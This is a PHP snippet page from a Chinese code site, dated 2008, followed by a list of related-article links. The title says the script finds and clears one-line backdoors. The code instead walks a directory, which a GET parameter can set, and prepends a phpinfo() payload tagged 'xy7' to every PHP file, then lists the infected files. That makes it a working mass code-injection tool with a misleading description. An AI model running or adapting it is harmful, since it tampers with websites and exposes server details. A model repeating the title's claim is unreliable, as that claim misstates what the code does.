用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
eaglephp使用微信api接口开发微信框架
Jan 09 PHP
php实现aes加密类分享
Feb 16 PHP
php中的strpos使用示例
Feb 27 PHP
PHP取余函数介绍MOD(x,y)与x%y
May 15 PHP
PHP面向对象之后期静态绑定功能介绍
May 18 PHP
php简单生成随机数的方法
Jul 30 PHP
WordPres对前端页面调试时的两个PHP函数使用小技巧
Dec 22 PHP
从性能方面考虑PHP下载远程文件的3种方法
Dec 29 PHP
Laravel框架实现发送短信验证功能代码
Jun 06 PHP
PHP实现求解最长公共子串问题的方法
Nov 17 PHP
php ActiveMQ的安装与使用方法图文教程
Feb 23 PHP
PHP正则表达式函数preg_replace用法实例分析
Jun 04 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
杏林同学录(八)
2006/10/09 PHP
php eval函数用法总结
2012/10/31 PHP
YII Framework教程之异常处理详解
2016/03/14 PHP
PHP simplexml_load_file()函数讲解
2019/02/03 PHP
ThinkPHP 5.1 跨域配置方法
2019/10/11 PHP
jQuery为iframe的body添加click事件的实现代码
2011/04/07 Javascript
使用JavaScript构建JSON格式字符串实现步骤
2013/03/22 Javascript
js对图片base64编码字符串进行解码并输出图像示例
2014/03/17 Javascript
详解jQuery向动态生成的内容添加事件响应jQuery live()方法
2015/11/02 Javascript
使用jQuery获取data-的自定义属性
2015/11/10 Javascript
jQuery validate+artdialog+jquery form实现弹出表单思路详解
2016/04/18 Javascript
浅析angularJS中的ui-router和ng-grid模块
2016/05/20 Javascript
微信小程序之电影影评小程序制作代码
2017/08/03 Javascript
基于js 本地存储(详解)
2017/08/16 Javascript
iview给radio按钮组件加点击事件的实例
2017/09/30 Javascript
vue2.0.js的多级联动选择器实现方法
2018/02/09 Javascript
对vue下点击事件传参和不传参的区别详解
2018/09/15 Javascript
Element-UI中Upload上传文件前端缓存处理示例
2019/02/21 Javascript
基于JavaScript实现简单抽奖功能代码实例
2020/10/20 Javascript
python3读取MySQL-Front的MYSQL密码
2017/05/03 Python
Python复制Word内容并使用格式设字体与大小实例代码
2018/01/22 Python
Python爬取qq空间说说的实例代码
2018/08/17 Python
Python面向对象之类的定义与继承用法示例
2019/01/14 Python
Python使用修饰器进行异常日志记录操作示例
2019/03/19 Python
python实现XML解析的方法解析
2019/11/16 Python
python 导入数据及作图的实现
2019/12/03 Python
Python制作数据预测集成工具(值得收藏)
2020/08/21 Python
Python Http请求json解析库用法解析
2020/11/28 Python
荷兰家电购物网站:Expert.nl
2020/01/18 全球购物
幼儿园保教管理制度
2014/02/03 职场文书
如何写一份好的英文求职信
2014/03/19 职场文书
难忘的一天教学反思
2014/04/30 职场文书
2014年母亲节演讲稿范文
2014/05/07 职场文书
公开致歉信
2019/06/24 职场文书
go语言中GOPATH GOROOT的作用和设置方式
2021/05/05 Golang
javascript数组includes、reduce的基本使用
2021/07/02 Javascript